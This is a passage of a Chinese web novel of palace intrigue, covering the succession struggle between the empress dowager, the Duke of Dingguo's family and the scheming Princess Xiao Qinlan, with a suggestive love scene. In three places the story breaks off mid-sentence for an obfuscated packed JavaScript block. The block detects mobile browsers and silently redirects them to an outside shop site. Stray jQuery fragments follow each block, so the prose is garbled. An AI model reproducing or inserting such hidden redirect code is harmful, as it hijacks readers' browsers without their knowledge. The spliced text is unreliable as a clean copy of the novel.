再者，''定国公''实为虚衔，只挂名兵部尚书。兵部职责仅限于武官选授、行政、征调边防、兵籍军械等事务，且与五军都督府相互掣肘。
因此，太后无需忧虑，定国公即便有意，亦无兵可调。”
“五军都督府统领军队与战事，定国公亦有眼线。”
“仅是眼线，并无实际政务。且有暗卫时时监督。”
“现下明朝王朝国泰民安，但若两面三舌，借端生事，轻则影响士兵士气，重则牵动将领决策……”太后淡淡一瞥，神色宁静，难以窥见情绪波澜。
“亲人离散，家园破碎，生死未卜，乃至蒙受不白之冤，遗臭万年。这些无论是太祖麾下的老将，还是当世大儒、归顺的山野之人，皆感同身受，放在前朝确有可能。”
琉薇含笑摇头，“明昭王朝今日部分官员因追求荣华而相互庇护，可一旦外敌来犯，意图颠覆王朝，无论资历深浅的臣子，绝对能同舟共济，共御外侮。”
琉薇接着道：“拨乱反正，天下重归一统后，功臣必先……这是历史常情，各朝皆然。太后英明，洞悉此理，故对老臣心存慈悲，未行极端。他们怎么会不感恩！”
闻听这话，太后摆手示意四名宫女退下，任由琉薇舒缓额角，发出满足喟叹。
她言道：“哀家初衷确是如此。未料短短三载，定国公胆大包天，为了给他的儿子铺路，竟在根本之处暗中操作，贪心过甚，自取其咎。”
“奴婢斗胆敢问娘娘，乡试舞弊是否确系定国公所为？”
“这事已水落石出。豫州乡试搜检官是定国公远亲，虽然隔了数代，姓氏各异，但血缘犹存。至于印卷官则纯为攀附上司，与定国公无直接瓜葛。”
“局势错综复杂，太后想如何处置？”
太后眸光如冰雪般凛冽，“哀家治理朝堂三年有余，非贤昭一般柔弱可欺。定国公的儿子想要做这天下共主，必须先舍权柄，安于兵部尚书之位。否则……
哼，宗室之中英才辈出。润知与司空颢皆为上选。再不济，也有与定国公夫妇离心的陆承韫。”
琉薇颔首赞同：“皇帝只需承继萧氏血脉，治理之道自可由太后悉心教导，循序渐进。
正如太后所言，大局已定，那豫州学子与翰林院侍讲学士的不幸，大约真是定国公为大局而行的决绝断腕之举。”
“或许吧。”太后打断了她的进一步询问，显露出几分疲惫，“近日朝务冗杂，确感力不从心，需得好生歇息。”
言罢，琉薇连忙搀扶太后步入内殿，细心为其解衣宽带，直至太后安然入梦，方才放心退下。
＆
“啪——”
正值寅初，日旦交替之间，定国府内却已烛火摇曳，一声脆响彻底打破宁静。
陆墨凌避开一地琉璃碎片，拾起父亲因愤怒而掷于地上的信纸，细细阅读。
愈是深入他的眼神愈发阴郁，半晌后手臂低垂，信纸被紧紧攥住，狠狠揉成一团，“太后，她竟敢……”
书桌后的陆泽冷哼一声，嘴角勾起冷笑，语气中满是不屑：“这样明目张胆，太后分明是在试探你的底线，同时也是在提醒我天家威严不容小觑，更是告诫我，天家对一切了如指掌。”
“父亲，孩儿该怎样应对？”陆墨凌沉思一息，复又问道，“若我他日登基，必需构建自己的势力。但三年来，父亲您为我精心布下的局几乎被一一拔除，除兵部外，其余皆化为乌有。就连豫州那边也……”
“诏书既出，豫州建造申明亭、旌善亭之事已成定局，难以更改。”
“申明亭将乡试参与舞弊者、与其他罪大恶极者的姓名、罪恶、判处结果一一详细言明，包括狎妓的侍讲学士。旌善亭则扬起善声、传誉乡里，好比那个无故死去的豫州学子。”
陆墨凌担忧道：“这般不利。父亲，现在诏书尚在路上，要截杀传旨太监吗？”
陆泽眼神锐利，“太后非萧沁澜那般软弱可欺之辈，宗室备太子有六，你之外，蔫润知与司空家那小子声望颇高，深得臣心。
老臣之中，除忠勤伯外，我虽官职最高，但同辈已寥寥无几。太后贬黜官员，让京师从四品之下全部告老还乡便是警告，更是布局。”
“少保大人尤项呢？三年来尤项大人曾多次暗中相助，虽未明面接触，但显然是站在我们这边。且翰林院官员中，他最有可能入主内阁。只是乡试之事处理得这么仓促，确实不妥。”
“尤项乃太祖旧臣，智计过人，但与我们这些沙场征战之人交往不多。”陆泽轻敲桌面，“他的心思，确需进一步试探。”
“好，儿子静候父亲佳音。”陆墨凌应承后，唤来下人清扫书房，继而关上门扉，转而聊起他事，“翰林院侍讲学士与豫州学子之死，父亲可知背后真相？动手之人？”
“据闻是毒药暗藏于餐食之中，至死未觉，终至七窍流血暴毙。”陆泽摇了摇头，“也算是对他的一种解脱吧。狎妓之罪本不容宽恕，而今身死，倒让他家族免于流放九族之厄，改为抄没家产，已是宽待。”
“儿子以为，太后对狎妓与乡试二事的处理过于严苛。若换作是我……”
陆墨凌话未说完，便被陆泽打断，“此二人与你有关联，太后此举并无不妥。明昭王朝初立三年，表面上一片祥和，实则暗流涌动。狎妓与乡试舞弊作为首例，自然需要严惩以儆效尤。你将来若登大宝，切记
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13003648|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不可心慈手软。否则，在敌人环伺之下，你的帝位难保。记住，务必要时刻保持清醒与警惕。”
“是，儿子明白了。”陆墨凌再次开口，“若真有那么一日，我坐上龙椅，初期确会受到太后制约。沁澜……”
他话音未落，便听陆泽一声冷哼，“贤昭公主不过是个懦弱无能之辈，是否拉拢并无大碍。
陆承韫当日所言非虚，若强行纳她为妃，只怕你们之间的情谊将荡然无存。时光能消磨许多隔阂，可朝局风云变幻，你不可将宝贵时间耗费于儿女情长之上。
你母亲心慈，这事你需以大局为重，莫被她影响了判断。”
陆墨凌听罢半晌未语，眼中闪过挣扎与不舍。
最终，他低声道：“必须如此吗？”
陆泽望着儿子眼中的那份执着，语重心长地说：“墨凌，身为帝王，需有舍有得。
你若能以嫡公主之礼待贤昭，那些对太祖皇帝忠心耿耿的朝臣定会对你心生敬意，你的地位自然稳固。届时，让太后退居后宫，你独掌前朝大权便是水到渠成之事。
若你心中仍有对贤昭的深情厚谊，不妨利用你的身份，让她的婚事再缓几年。待你稳固权柄之后，再将贤昭纳为妃子也不迟。”
一番话让陆墨凌脸上的阴云顿时消散，他起身恭敬地向父亲行礼，“多谢父亲大人提点，孩儿受益匪浅。”
“嗯，明白就好。”陆泽满意地点点头，抚摸着特意蓄起的胡须，神情满是欣慰，“西院情况如何？”
“烛火已熄，想是已经安歇。”
“你没派人监视？”
陆墨凌不解，“这是父亲的府邸，二弟被接回来也不过数年，又能有何作为？”
“话虽没错，但毕竟是男儿身，谁又能知他心中所想？”陆泽深思后道：“罢了，为父亲自去瞧瞧，看他是否真如表面那般安分守己。”
“可天色已晚……”
“你我二人共谋前程，秉烛而谈，他倒好，安然入梦，简直不孝不义。”
“父亲……”陆墨凌望着父亲渐行渐远的背影，稍作犹豫，终未追随，转而拾起桌上散落的各式消息逐一审视，心中暗自筹谋。
＆
西院之内，万籁俱寂，皎洁的月光透过窗棂，斑驳地洒在屋内，为静谧的寝屋添上一抹朦胧春色。
一只白皙细腻、仿佛无骨的手紧紧抓着床栏，随后蓦然放松，无力地垂落床边，颤抖不已。
萧沁澜面色绯红，发丝凌乱地贴在脸颊上，汗珠仍沿着肌肤缓缓滑落，她闭目试图驱散那余韵未尽的不适。
屋内弥漫着浓郁而持久的气息。
陆承韫发出惬意舒畅，愉悦低吟。
“还好吗？”
萧沁澜体力未复，抬起一足狠狠蹬了他一脚。
那一脚蹬出更像是撒娇，力道微不可察。
“没想到你会选我。”陆承韫按住她的唇瓣，细细摩挲。
“……”
双生藤蔓，根脉相连，因命运编制的纽带密不可分，故而未能各自绽放，牵一发而动全身。
萧沁澜仰视着那张与前世男友一模一样的脸，无意识轻柔抚上，“你怎么，长成这样！”
淡白月光落在陆承韫身上，他伸手握住，侧头抵了抵，“只是这个？”
“……不是。似此星辰非昨夜，为谁风露立中宵。”萧沁澜深褐色的眼眸波澜不惊，“当年一见……惊为天人。”
23. 怪可怜的…… 登基（一）……
情意绵绵，温存生暖，忘却尘世纷扰，沉浸于短暂的宁静与祥和。
“倦了吗？”陆承韫将她拥入胸怀，昔日的猜疑与不安此刻烟消云散，只余下彼此间不言而喻的可心可意。
求仁得仁，所愿已足。
“有些……”
萧沁澜话语中带着沙哑，断断续续，喉咙仿佛经历了长途跋涉，干渴而疼痛。
陆承韫听来却别有一番风味。
这便是埋怨中显而易见的夸赞。
陆承韫抹去额上的汗珠，披上一件中衣走至桌边，为她斟满一杯凉茶，随后返回，小心翼翼地将她扶起，亲手将凉茶送至她唇边。
三个多时辰的欢愉，一杯凉茶确难解其渴。
他又为她续上一杯，体贴入微地喂她喝下。
月色透过窗棂，柔和光辉映照在萧沁澜湿润潮红的眼角。
那抹艳色，比桃花更娇，比玫瑰更媚。
几番饮水之后，陆承韫终是情难自禁，俯身在她眼角印下一吻，动作温柔得如同对待易碎瓷器，手心轻轻拍着她的脊背。
萧沁澜确已疲惫，无暇回应，任由他如同安抚孩童般拍着脊背，闭目小憩。
历史长流滚滚，传承至今，对女子残忍，又让男子自大。
无论古时还是现今这和平昌盛的时代，总有人认为一旦同床共枕或孕育生命，便是深情厚意的铁证，再也无可分离。
这种观念，不分能力高低，钱财多少。
成为被操控的棋子，亦或是坚守自我、深情以对，全然取决于女子的性情。
得之喜，失之淡，有无皆安。
唇瓣仍旧湿润，萧沁澜抿了抿，推开他的手背，翻身沉入柔软的锦被中，陷入沉睡。
皇帝人选已定，可在正式登基前，仍需前往文华殿继续授课，装模作样几日。
太狠，必须休息。
陆承韫望着锦被上散落的青丝，“你今日外出，太后未曾察觉？”
“宁安宫内外皆为我所掌控。”萧沁澜嗓音纯净，带着几分倦意。
“太后把持朝政多年，深夜造访亦非罕见，你确定毫无疏漏？”
萧沁澜不耐烦地扯过被褥，将自己牢牢覆盖，“确定！确实无虞！今日乾清宫中，群臣迫使太后下令钦天监早日定下吉日，连隐居多年的司空大人都被拉来，一同商量皇室玉牒入籍之事。
外姓登基，血脉不纯，这等大事不能轻率。若要顺利稳固地位，三五年尚且不够。”
此话一出，陆承韫心中的最后一丝疑虑烟消云散。
他随即上床，从背后环抱住她，“为何选择兄长？你不用顾左右而言他，我知这事定下前，你早早便已知晓。”
“外戚、老臣、宗室中其余幸存者，皆是不得不面对的难题。”萧沁澜挪动着身体，锦被下的神情皆是疲倦与不耐，“陆墨凌是瓦解他们势力的最佳利器。外姓登基筹备需更加周密，但太后已下旨让今年乡试重启，意在为明年二月的科举铺路。如此算来，过年前，一切应能尘埃落定。”
“乡试重启？”
“选拔人才乃重中之重，必不可少。近几日我散布许多风声，太后的人自然有所耳闻。申明亭、旌善亭，这两者甫一宣布，无疑是将剩余老臣的脸踩下，借重启乡试来巩固自己的威望。”
“原来是这样。我有所耳闻，那些关于‘吃人官员’的童谣在大街小巷流传，竟是这般作用。”
“你的消息未免太过滞后，看来定国公前两年对你的严加管教，确实限制了你的势力扩张啊……”
“仅是京师之地尚能应付，若要如你般，势力遍布边陲各地，恐怕还需三年光景。”
“努力，本宫看好你！”萧沁澜言罢，便任由思绪飘散，沉入梦乡准备养神。
“安心睡吧。”陆承韫搂住那团被子，眼底星河荡漾，温柔婵娟。
屋内静谧，唯有月光轻纱般洒落在各方角落，朦胧而温馨。
“嘭！”
一声巨响骤然打破了这份宁静，急促的脚步声瞬间逼近，两人陡然惊醒，猛地坐直了身子。
无需多言，那粗暴而无礼的闯入方式，已让他们心知肚明来者何人。
陆承韫迅速起身，边整理衣物边神色凝重地说：“他们进不来，你继续休息。”
言毕，他大步迈向屋门，猛地拉开。
门外明亮的月光无遮无拦，清晰地映照出那逆光而来的身影。
“父亲。”陆承韫整饬好衣物，躬身施礼。
陆泽审视他那不整的衣衫，语气森冷，“明日尚需求学，莫要给我做这般装扮，丢人现眼。”
“孩儿谨遵教诲。”
不论缘由，不论事件，陆承韫总归会被打骂责罚，若能提前认错，至多换来几句责备，九载光阴，他对此已是驾轻就熟。
对于这位子嗣，陆泽并不亲近。
他诞生之时夫人几近丧命，即便以人参续命保得一时，却也因此元气大伤。
且他出生之日凌儿便染上了重病。自己原本稳固的仕途晋升，也因次日的起义军侵扰而受阻。
他因不甘平庸而投身太祖麾下，得定国公之尊荣，可碍于夫人是太祖庶妹，严苛监管，几十年来仅凌儿一脉相承。
不能轻易让妾室诞下子嗣，这些始终是他心头的遗憾。
陆泽睨了他一眼，旋即收回视线，不想过多看到他，直截了当道：“既已知错便好。你与司空颢交情不浅，今日授课之时，务必让他转告他的父亲，加速筹备凌儿登基事宜，务必在年前尘埃落定。”
“但，司空家族亦属皇族血脉，孩儿如何……”
他话音未落，陆泽已不耐烦地打断，冷声道：“你兄长登基于你而言乃是百利而无一害之事，你非但不急不躁，反而悠然自得……”
话锋一转，他语气中多了试探与警告，“莫非你对那九五之尊之位，也存有觊觎之心？”
陆承韫面色平和，目光低垂，“孩儿与朝中元老并无深交，更无此等非分之想。”
“你明白就好。”陆泽深深凝视着他，“你要清楚，即便你有望继承大统，那些元老重臣也未必会站在你这边。陆家将来的荣华富贵皆系于你兄长一身。你平时主动一些，积极表现，别像现在这样无趣且无用。”
弃之可惜。
他如是想，终究未曾言明。
“好，一切听从父亲安排。”"陆承韫再次躬身行礼，平和如常，“父亲还有何吩咐？”
“后日上朝前，务必说服司空颢。”
交代完毕，陆泽毫不拖泥带水，正欲离去，却闻身后传来陆承韫的声音，“此事关乎国家根本，恐非朝夕可成，还望父亲能多予时日……”
“不论你如何措辞，如何行事，事后如何评价，必须圆满解决。”陆泽头也不回，“后日乾清宫中群臣商议，我将联合众人确定具体日程，你心计怎样我并非不知。此事，你能办成。”
陆承韫久久注视对方背影，一瞬不瞬，半晌后忽而淡笑出声，“好，父亲请宽心。”
武者感官敏锐，对于周遭细微变化皆能洞察秋毫。
陆泽未理会他不加节制、不经意间散发的浓郁气息，毅然转身出了院落。
……
待人走后，陆承韫步入屋内，缓缓坐于床沿，陷入沉思。
月色朦胧下，难以窥见他脸上表情。
萧沁澜掀开被褥，起身倚在他身上，“定国公勇猛无双，智谋或有不及。太后心思缜密，正是明白了此点，方未曾将乡试重考之事在京师昭告。
待明日之后，剩余的老臣一脉都会被逐一受到清算。调任途中遭遇不测，马贼截杀或是小道坍塌，皆未可知，皆是常事。”
陆承韫静默不语，身形宛如雕塑，纹丝不动。
见状，萧沁澜续道：“意外身死亦有可能。朝中诸公并非愚钝之辈。一旦消息传至京师，天家之意自会昭然若揭。届时，陆墨凌将更加孤立无援。”
世人很难相信太后手段会极其残忍。
女子常被冠以柔情似水、念旧情深之名。即便日后真相大白，也会多感无力回天。
“至于定国公爷适才所
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13017529|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
言的‘心机’二字，不是指你豢养的暗卫，而是暗指你心中的那份不甘，与异样的筹谋。”
“父亲……确实见多识广。”陆承韫的手掌不由紧握。
当失望累积至顶点，便是希望的彻底泯灭。
往昔或许懵懂未知，但当下起，他情感不会再轻易波动。
陆承韫勾了勾唇，那眸中却无丝毫笑意。
他猛地翻身，一把掀开被褥，动作决绝、有力。
“你这是……”
原本从容不迫的萧沁澜顿时惊愕失色，甚至夹杂着难以言喻的惶恐。
突如其来的胀痛让她无法自抑地咬紧了下唇，额间细汗密布……
＆
晨光熹微，朝霞映天，太和殿内的喧嚣逐渐远去。
萧沁澜慵懒地倚坐在鸾轿上，轿栏成了她唯一的依靠。
她额头轻点，眼眸半合不合。
那份近乎发泄般的体力消耗，确实如话本中描绘的那般美妙。
但亲身体验之下，十日半月偶得一尝，便已足够。
抵达文华殿侯，萧沁澜神态自若，不疾不徐走到自己的席位，支着额畔，安详地翻阅着书卷。
近日詹事府的授课内容与往昔迥异，不再局限于帝王治国之道，转而讲起了于廉自守与守护初心之善，詹事大人还不时向陆墨凌提问，赏识有加，却也暗含鞭策。
陆墨凌如今被选为帝王，是太后为了除掉老臣不得已下的决定，在众人心中，司空颢与润知才是更具帝王风范的人选。
太祖皇帝智勇双全，声名显赫，其后的宗室子弟若想继承其位，难免遭受非议。任何细微的失误或是对明远太后的稍许违逆，都可能招致“外姓终究难当大任”的讥讽。
定国公虽非愚钝之人，但近期朝中老臣屡屡受打压，已使他难以顾及长远，行事间不免多了几分冲动与不计后果。
陆墨凌自信满满，掌握权柄的男性往往自视甚高，对于非是深厚背景的女子往往抱有轻视之心。
权力从不是一片坦途，每一步都需谨慎行事，方能在这波谲云诡的朝堂中站稳脚跟。
“沁澜……”
思绪游离之际，蔫润知悄无声息的出现在她桌旁，眼眸闪亮地凝望着她。
身后的陆承韫一反常态，没有选择忽视，抬眼注视着两人，手中的书本已停滞不前，久久未翻动一页。
“嗯？”萧沁澜被这熟悉的声音拽回现实。
“……没睡好吗？”注意到她眼下明显的乌青，蔫润知心疼地开口询问。
“嗯。”萧沁澜应了一声。
她天生体质特殊，恢复速度缓慢。
“昨夜因雨夜烦躁而起身看书，未曾想竟一夜未眠。”萧沁澜揉着眉心，故作疲惫。
“怪不得看起来又红又肿。”蔫润知蹲下身子，抬头看向窗外天色，“詹事大人马上就要到了，现在去取药恐怕来不及。你且先忍一忍，待一会儿下课，我定然快去快回！”
“不必。”萧沁澜浅笑道：“仅是疲惫与困乏交织，并无痛感……”
嘴角细微的伤口恰巧牵动，她眼尾微动，继而归于宁静，“确是不觉疼痛。你此来寻我，可是有要事相商？”
“呃……”蔫润知似是感同身受，抚了抚她的眼角，又克制地收回手，置于桌下，指尖无意识地摩挲，“待墨凌君登基，你可是要迁居公主府邸？”
“我若继续留居深宫，于礼数有悖。”
“沁澜，你……收留了我吧？”
“……嗯？”
蔫润知依偎在自己臂弯，侧首仰望她，“孝道如山，自那日我未被选中，父亲便更加严苛了。”
“那侧室呢？她煽风点火？纵容忠勤伯责难于你？”萧沁澜眼底幽暗。
“她巴不得父亲如此待我呢！”蔫润知叹息一声，复又无奈道：“女子生存不易。她出身贫寒，家中兄弟众多，父母又偏颇。能得家父青睐嫁入伯爵府内，对她而言已是一步登天。可她着实……”
“怪可怜的。”萧沁澜点了点他的额头，语中满是怜惜。
24. 太子妃人选
“怪可怜的。”萧沁澜点了点他的额头，语中满是怜惜。
滚烫的余温残留额角，触电般的感觉骤然传遍全身，蔫润知顿觉心潮澎湃，猛地扣住她皓腕，眼中星光熠熠，“沁澜，我愿伴你入那公主府邸，一生一世，做你的驸马，可好？”
这话一座皆惊，震撼人心，尤其是在新皇登基前夕的风声鹤唳之时，难免令人遐想，他有那觊觎龙椅之心。
若是换作靖郡王、宁郡王之辈，或是素来人缘极佳的司空颢等公子哥，只怕早已被朝中群臣口诛笔伐，难逃暗箭明枪，甚至落得个身残志灭，乃至毒酒赐死的下场。
可此人是蔫润知，自潜龙在渊时便对贤昭公主情根深种，朝野皆知，老臣们皆笑而不明语。
“唉……”一旁的萧抒不由自主地长叹一声，摇头道：“润知这小子真是我生平仅见的用情至深之人啊！”
“所言极是。”萧亦辰亦是嘴角含笑，附和道：“若是寻常女子怕是早已被这深情厚意所融化。但贤昭身为嫡出公主，肩扛稳固朝纲之重责。再者，她曾随太祖皇帝南征北战，平定叛乱，剿灭山贼，不会甘愿困守闺阁，相夫教子。”
蔫润知听罢连忙澄清道：“我愿抛却亲王之尊，甘为驸马，自愿安于宅院之内陪伴左右。沁澜，若你心中稍有此意，我们可不可以先试上一试？”
萧沁澜眸光流转，嘴角挂着浅笑，却似春风不度寒潭，内里并无丝毫暖意，只静静地坐着，一语不发。
陆墨凌登基之路坎坷，支持者寥寥，太后并不乐见任何皇子登基。
可亲王若是自降身份为驸马，非但权势、财富、人脉皆要大幅缩水，更会让那些信奉血脉尊贵的朝臣心中，那抹微薄的期望也烟消云散，转而投向其他人。
蔫润知文武双全，高义薄云，但他在众人面前如此频繁而热烈的表白，难道不是在以情为由，行逼迫之实吗？
他究竟在急切什么？
莫非忠勤伯府已非久留之地？
或许唯有禀明太后，另辟亲王府，方能保他周全，避免不测。
正当她思绪万千之际，身后的陆承韫突然起身，将手中书籍置于二人中间，语气淡然，眼神却赛雪欺霜，“今日詹事不谈治国之道。”
言罢，他未再多言，转身回到自己的位置，一切仿若未曾发生。
“你的书，怎会在承韫哪啊？”蔫润知问得纯真。
萧沁澜不易察觉地蹙眉，翻动书页后抬眼望向他，漫不经心道：“非我之物，不过是承韫兄长多了一册，而我未备罢了。”
不远处的司空颢将这一切尽收眼底。
他细细品味着萧沁澜的一举一动，不禁叹息。
其中曲折，自己无从插手，只得作罢，还是温习医书妥当。
殿内气氛微妙，陆墨凌恰在此时步入殿内，与詹事并肩而行。
视线无意间落在萧沁澜与蔫润知身上时，原本温和的面容瞬间染上阴霾，盈满了不悦与审视。
“润知你今年已二十了，行事应当更加稳重才是，不可毛躁，沁澜到底是个女子！”
“哦……”蔫润知依依不舍，重新坐回自己位置，翻开书籍，手指不自觉紧攥。
依循习俗，少女于豆蔻年华订下婚约，及笄之年便要成婚，碧玉年华已初为人母。
沁澜出生那年，自己方才一岁，太祖皇帝与娘亲口头约定了娃娃亲，却仅提了一次。
可陆墨凌对沁澜的心思他能看到，若是等陆墨凌荣登大宝、后宫佳丽如云、功业日隆、四海归一之时再强取豪夺，朝臣们恐怕多是附和之声。
他既无父兄可依，亦乏幕僚相助，届时何以自处？
又何来的闲暇徐徐图之？让沁澜对他动心呢？
为求长远，朝中权势他必须分一杯羹了……
＆
夜幕低垂，宁安宫内烛光璀璨，恍若晨曦初现，映得室内一片通明。
萧沁澜沐浴归来后乍然看到，随即吩咐侍女削减了一大半的烛火，仅留一束光影摇曳于一隅，并细语叮咛日后无需这般铺张浪费。
本采静立侍奉，细声禀报：“昨夜主子不在，太后曾特遣慈宁宫琉薇前来探视。主子齐射一绝人人皆知，故琉薇行事尤为谨慎，仅在门外稍作窥探便转身离去，并未掀开床幔。太后近日忙于朝政纠葛，心情郁结，难以分身亲自前来。”
殿内仅余孤灯一盏，萧沁澜斜倚在贵妃榻上，“太后正忙着跟定国公权力博弈中，自然不会过分留意。且她心中尚存着希冀，想让本宫将来能站在她的阵营。朝堂风云，让我们的人韬光养晦，避免锋芒过露。”
“好。”本采一一应承，补充道：“咱们的人除了那位外，余下二人皆是五品小官，就算上朝也是居于末席，不会引人注目，主子可安心。”
“你们行事，我向来深信不疑。”萧沁澜点了点桌上的物件儿，“那瓶中之物可曾让医师鉴过？”
“这是司空公子所赠……”本采言语间略显迟疑，目光闪烁。
即便是她这等见多识广之人，面对未曾触及过的……
亦感难以启齿！
“究竟是什么？司空怎么说？”萧沁澜确实不知瓶子中为何物。
她轻功卓绝，世间能敌者屈指可数，且于骑射、兵法上皆有所成。可医学只是略知皮毛。
“这……”面对主子询问，本采虽然感觉羞赧，但也不可隐瞒。
她闭目凝神，一口气快速低声道：“和阴阳、平息内息、滋养气血、强健体魄、固本培元、安神定志、恢复身心和谐的极品良方！”
声音绵延回荡，在殿内不绝如缕。
平息内息？
也就是调节内分泌骤然动荡下的紊乱。
复归和谐？
那便是帮助身体恢复免疫能力，与改善事后的睡眠不足之处。
这……
这！
司空颢……
他能看出一切？
言语既出，心头重负似卸，本采不再犹疑，“司空公子说了，主子你身形疲惫，步履无力，任谁看了都会窥见……一二端倪的……”
“……你也能看出来？”萧沁澜语气幽幽。
“不是不是！奴婢一点儿都不懂这些！今日见到主子，依旧觉得主子风采依旧，风流齐楚，与往常一样，毫无不同的！”
溜须拍马。
“……也罢。”萧沁澜不再多问，神色复归凝重。
这倒是出乎意料，她不懂医术，从不知厉害的医师竟能够这般敏锐。
她与司空颢虽自幼相识，情谊深厚，但如今他身居高位，权力的巅峰，往往伴随着更多的审视与猜疑。
潜在威胁啊……
“你即刻调配两名得力人手，务必严密监视司空大人及其子司空颢的一举一动。”
“遵命，主子。”
萧沁澜缓缓起身，指尖轻触枕边，“两颗大雷已埋下，自此刻起至明年科举，务必要确保万无一失。这五个月间，暗卫营与锦衣卫需全员戒备，待一切尘埃落定，你们也会彻底安宁。”
“主
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13035185|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子不必挂念，属下自当竭尽全力。”
本采复又禀报了几日来的要务，转身离开前，目光无意间落在桌上那几支摇曳生姿、看似孤苦无依的烛火上，心中不禁泛起涟漪。
“主子，您家业遍布四海，财富之巨足以撼动国本，即便两年不间断征战，亦能确保百姓衣食无忧。如此家底，又何须如此节俭呢？”
“知道了。”萧沁澜摆了摆手，让恨铁不成钢的她去忙正事。
＆
懿旨未下，还未明宣，新帝未公布前，萧沁澜仍需坐在帘后当个吉祥物，稳定朝纲。
太和殿内，定国公慷慨陈词，力主速定新皇以安社稷，言辞犀利，直击要害，又字字珠玑，发人深省。
朝堂之上的群臣心知肚明。时值岁末，无论是持观望态度者、中立之士，还是心向别属的臣子，都暂且放下成见一同劝解。
太后不愿拂逆众意，遂果断退朝，并召集钦天监、宗□□、定国公及数位德高望重的老臣共去乾清宫，密议国之大计。
陆墨凌身为此中关键人物，自是不可或缺。
萧沁澜作为皇室唯一正统血脉，被特许旁听。
……
乾清宫内，太后端坐于案几之后，手中随意翻阅着奏折，唇边挂着一抹不咸不淡的笑，“十月十五，天星明亮，皓月当空，紫薇垣光芒大盛，地脉之气活跃……”
念至此，太后将奏折合上，转向下方，“监正所选的吉日，果真能顺应天时，契合地利，又聚拢人和吗？新君登基，需上承天命，下合民心，福泽广被，万不可急功近利，监正可曾细细推演，能否确保无误呢？”
钦天监监正连忙趋步上前，跪倒在地，“启禀太后，国之大事微臣岂敢有丝毫懈怠？自受命以来，微臣夜以继日反复推演，终得此十月十五之日。紫气东来，实为吉时吉兆，适宜新君登基，以承天运，泽被苍生。”
太后目光深邃，俯视着跪在下方的监正，沉默不语。
定国公强忍着焦急，垂首立于一旁。
官职最大、权柄最重的庆如韩从容不迫地躬身行礼，“太子之位既定，其品德与才能皆获老臣们由衷钦佩。监正大人昔日随太祖皇帝南征北战，功勋赫赫，经验与智慧为无价之宝。
社稷稳固，江山安宁，非一人之力所能成。老臣斗胆建议，自明日起，文华殿授课或可暂行搁置，内阁诸公必将不遗余力，悉心教导太子的学业。”
阁老都已经站出，众臣自是纷纷响应，赞同之声此起彼伏。
太后端坐于上，眼眸微眯，冷冷地扫视全场，“太傅所言极是，太子课业之事便依此办理。至于新帝教导，哀家自会亲力亲为，诸位只管前朝便可。”
明远太后胆识非凡，这几年减免赋税，兴修水利，更是在各地设立“济困仓”，为因天灾人祸而陷入困境的百姓们，提供及时的援助与救济。
天下承平之际，太后又心系文教，补助贫寒书生，广开课堂。
正是因为她的仁政之举深得民心，方有豫州学子不畏艰难，敢于在御前直陈冤情的胆大壮举。
太后当众说出这番话，明显是还要继续掌舵朝政。
但在场臣子都明白太后的能力，故而虽有微澜，终归于平静，纷纷应允。
商议既定，众大臣依序告退，各归其职。
太后目光流转，不经意间落在队伍末端的贤昭身上，又忆起适才立于一侧、静默如水的陆墨凌，忽而出声。
“太子已立，那么太子妃人选，也该早早定下啊……”
25. 孤独一世，或知己满座…… 登……
今日已是九月二十一，距离登基大典尚有不足十日，宫内宫外皆急促筹备，忙碌奔波。
乾清宫内，明远太后沉稳平静的嗓音蕴含着无形威严，慢条斯理地娓娓道来，“登基之前，需至太庙参拜敬香，诵读祝文，以祭拜太祖皇帝英灵，表明承继大统之心。”
“是，微臣谨记在心。”陆墨凌于下首静静聆听，恭敬回答，态度尤为谦逊有礼。
一切太过紧急，今日商议的乃是昭告天下的具体时间，与需要提前知晓的事宜，他并未更改国姓以“孤”自称。
乾清宫内除太后与他之外，身为嫡系血脉的萧沁澜也被唤来观礼，其实与滥竽充数相差无异。
她目光低垂，端坐在太后身旁，娴静得好似水墨画中的绝色佳人，听得心不在焉，仿若梦游。
“太庙之后，需前往皇家祭祀之地天坛，举行祭天大典，保佑明昭国运恒昌，风调雨顺，国泰民安。
随后需亲临社稷坛，祭祀土地神与五谷神，虔诚祈求神灵让明昭五谷丰登，无天灾人祸，永保繁荣。最后便要前往太和殿，处理朝政，接受万民朝拜。”
说罢，太后将手中的折子一抛，扔在案几之上，发出略微沉闷的声响。
“微臣谨遵太后教诲，已然明了。”陆墨凌并无他话，为防局势生变，谨言慎行。
来之前父亲便已得知乡试重启之事，这原本并非什么大事，可太后却特地派遣京师官员前去监督，摆明了是要让朝野上下明晰皇家态度，也暗指到底是谁在背后搅混水。
